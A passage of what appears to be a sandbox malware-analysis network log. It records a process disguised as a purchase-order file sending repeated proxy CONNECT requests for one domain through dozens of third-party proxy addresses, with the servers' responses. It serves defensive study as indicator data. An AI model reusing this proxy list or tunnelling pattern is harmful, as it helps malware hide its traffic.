1552	192.168.2.10	54851	104.21.85.109	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.101732016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.259985924 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1553	192.168.2.10	54761	213.250.198.66	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.104648113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1554	192.168.2.10	54844	104.20.75.132	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.106847048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.261168003 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1555	192.168.2.10	54862	104.23.107.172	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.107383013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.261734962 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1556	192.168.2.10	53164	62.122.201.246	50129	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.108753920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1557	192.168.2.10	54871	104.17.248.164	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.113164902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.267220974 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1558	192.168.2.10	51044	200.7.11.154	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.118510008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.285823107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.286030054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.400330067 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1559	192.168.2.10	51000	68.183.180.222	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.121700048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.286094904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.286030054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.286169052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.285641909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:28.285619020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:40.285656929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:04.285623074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:52.316787958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1560	192.168.2.10	54770	185.220.226.128	808	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.131371975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1561	192.168.2.10	54615	211.93.2.190	7302	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.143150091 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:52.601033926 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1562	192.168.2.10	54892	192.154.246.96	9000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.143532991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1563	192.168.2.10	53964	117.160.250.133	8899	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.143915892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.604445934 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1564	192.168.2.10	54893	104.20.67.113	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.145453930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.299472094 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1565	192.168.2.10	54894	45.14.174.180	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.145663977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.300213099 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1566	192.168.2.10	54807	178.253.236.139	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.180670023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.911010981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.048053980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.098733902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.865308046 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 819 Content-Type: text/html Date: Thu, 02 Apr 1970 01:30:43 GMT Expires: Thu, 02 Apr 1970 01:30:43 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1567	192.168.2.10	54808	185.32.6.121	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.189574003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1568	192.168.2.10	54781	103.83.232.122	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.197566986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1569	192.168.2.10	54809	103.166.141.74	20074	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.211747885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1570	192.168.2.10	53841	119.3.215.41	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.241811991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1571	192.168.2.10	54810	111.90.150.109	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.244975090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1572	192.168.2.10	54805	13.234.24.116	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.245579958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.652683973 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:52 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1573	192.168.2.10	54923	104.18.220.95	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.296282053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.450648069 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1574	192.168.2.10	54814	217.27.149.190	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.296772003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1575	192.168.2.10	53396	192.169.226.96	50578	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.296772003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.410934925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.411140919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.411056042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1576	192.168.2.10	54803	117.160.250.163	9999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
